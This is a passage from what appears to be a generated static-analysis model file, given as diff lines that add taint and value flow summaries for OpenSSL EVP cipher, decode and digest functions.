"Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[4]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[4]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EVP_DigestFinal", "(EVP_MD_CTX *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DigestFinal_ex", "(EVP_MD_CTX *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit", "(EVP_MD_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex2", "(EVP_MD_CTX *,const EVP_MD *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*fetched_digest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[1]", "Argument[*0].Field[*reqdigest]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestInit_ex", "(EVP_MD_CTX *,const EVP_MD *,ENGINE *)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSign", "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSign", "(EVP_MD_CTX *,unsigned char *,size_t *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignFinal", "(EVP_MD_CTX *,unsigned char *,size_t *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignFinal", "(EVP_MD_CTX *,unsigned char *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[**1].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[**1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[**1].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[*0].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[**1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[**1].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestSignInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerify", "(EVP_MD_CTX *,const unsigned char *,size_t,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyFinal", "(EVP_MD_CTX *,const unsigned char *,size_t)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[**1].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[3]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const EVP_MD *,ENGINE *,EVP_PKEY *)", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[**1].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**pctx].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[**1].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[*4]", "Argument[*0].Field[**pctx].Field[**propquery]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[**1].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**pctx].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[**1].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[**pctx].Field[**propquery]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,const OSSL_PARAM[])", "", "Argument[5]", "Argument[**1].Field[*pkey]", "value", "dfc-generated"] + - ["", "", True, "EVP_DigestVerifyInit_ex", "(EVP_MD_CTX *,EVP_PKEY_CTX **,const char 